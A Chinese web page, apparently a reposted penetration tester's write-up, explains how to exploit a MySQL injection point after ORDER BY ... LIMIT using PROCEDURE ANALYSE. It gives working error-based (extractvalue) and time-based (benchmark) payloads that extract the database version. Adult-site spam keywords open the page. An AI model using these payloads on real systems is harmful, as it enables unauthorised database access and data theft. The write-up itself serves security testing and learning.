茄子在线看片免费人成视频,午夜福利精品a在线观看,国产高清自产拍在线观看,久久综合久久狠狠综合

    <s id="ddbnn"></s>
  • <sub id="ddbnn"><ol id="ddbnn"></ol></sub>

  • <legend id="ddbnn"></legend><s id="ddbnn"></s>

    mysql注入點(diǎn)在limit關(guān)鍵字后面利用方法
    來源:易賢網(wǎng) 閱讀:1545 次 日期:2015-08-24 14:06:28
    溫馨提示:易賢網(wǎng)小編為您整理了“mysql注入點(diǎn)在limit關(guān)鍵字后面利用方法”,方便廣大網(wǎng)友查閱!

    描寫sql注入利用方法的文章數(shù)不勝數(shù),本文將描述一種比較特殊的場景。

    mysql注入點(diǎn)在limit關(guān)鍵字后面的利用方法

    細(xì)節(jié)

    在一次測試中,我碰到了一個(gè)sql注入的問題,在網(wǎng)上沒有搜到解決辦法,當(dāng)時(shí)的注入點(diǎn)是在limit關(guān)鍵字后面,數(shù)據(jù)庫是mysql5.x,sql語句類似下面這樣:

    select field from table where id > 0 order by id limit 【注入點(diǎn)】

    問題的關(guān)鍵在于,語句中有order by 關(guān)鍵字,我們知道,mysql 中在order by 前面可以使用union 關(guān)鍵字,所以如果注入點(diǎn)前面沒有order by 關(guān)鍵字,就可以順利的使用union 關(guān)鍵字,但是現(xiàn)在的情況是,注入點(diǎn)前面有order by 關(guān)鍵字,這個(gè)問題在stackoverflow 上和sla.ckers上都有討論,但是都沒有什么有效的解決辦法。

    我們先看看 mysql 5.x 的文檔中的 select 的語法:

    select

    [all | distinct | distinctrow ]

    [high_priority]

    [straight_join]

    [sql_small_result] [sql_big_result] [sql_buffer_result]

    [sql_cache | sql_no_cache] [sql_calc_found_rows]

    select_expr [, select_expr ...]

    [from table_references

    [where where_condition]

    [group by {col_name | expr | position}

    [asc | desc], ... [with rollup]]

    [having where_condition]

    [order by {col_name | expr | position}

    [asc | desc], ...]

    [limit {[offset,] row_count | row_count offset offset}]

    [procedure procedure_name(argument_list)]

    [into outfile 'file_name' export_options

    | into dumpfile 'file_name'

    | into var_name [, var_name]]

    [for update | lock in share mode]]

    limit 關(guān)鍵字后面還有 procedure 和 into 關(guān)鍵字,into 關(guān)鍵字可以用來寫文件,但這在本文中不重要,這里的重點(diǎn)是 procedure 關(guān)鍵字.mysql默認(rèn)可用的存儲(chǔ)過程只有 analyse (doc)。

    嘗試用這個(gè)存儲(chǔ)過程:

    mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse(1);

    error 1386 (hy000): can't use order clause with this procedure

    analyse支持兩個(gè)參數(shù),試試兩個(gè)參數(shù):

    mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse(1,1);

    error 1386 (hy000): can't use order clause with this procedure

    依然無效,嘗試在 analyse 中插入 sql 語句:

    mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse((select if(mid(version(),1,1) like 5, sleep(5),1)),1);

    響應(yīng)如下:

    error 1108 (hy000): incorrect parameters to procedure 'analyse’

    事實(shí)證明,sleep 沒有被執(zhí)行,最終,我嘗試了如下payload :

    mysql> select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

    error 1105 (hy000): xpath syntax error: ':5.5.41-0ubuntu0.14.04.1'

    啊哈,上面的方法就是常見的報(bào)錯(cuò)注入,所以,如果注入點(diǎn)支持報(bào)錯(cuò),那所有問題都o(jì)k,但是如果注入點(diǎn)不是報(bào)錯(cuò)的,還可以使用 time-based 的注入,payload 如下:

    select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)

    有意思的是,這里不能用sleep而只能用 benchmark。

    另外,這里還有一種類似的方法 https://rdot.org/forum/showpost.php?p=36186&postcount=30

    更多信息請(qǐng)查看IT技術(shù)專欄

    更多信息請(qǐng)查看數(shù)據(jù)庫
    易賢網(wǎng)手機(jī)網(wǎng)站地址:mysql注入點(diǎn)在limit關(guān)鍵字后面利用方法
    由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請(qǐng)考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇?zhǔn)!

    2026國考·省考課程試聽報(bào)名

    • 報(bào)班類型
    • 姓名
    • 手機(jī)號(hào)
    • 驗(yàn)證碼
    關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 新媒體/短視頻平臺(tái) | 手機(jī)站點(diǎn) | 投訴建議
    工業(yè)和信息化部備案號(hào):滇ICP備2023014141號(hào)-1 云南省教育廳備案號(hào):云教ICP備0901021 滇公網(wǎng)安備53010202001879號(hào) 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號(hào)
    云南網(wǎng)警備案專用圖標(biāo)
    聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號(hào):hfpxwx
    咨詢QQ:1093837350(9:00—18:00)版權(quán)所有:易賢網(wǎng)
    云南網(wǎng)警報(bào)警專用圖標(biāo)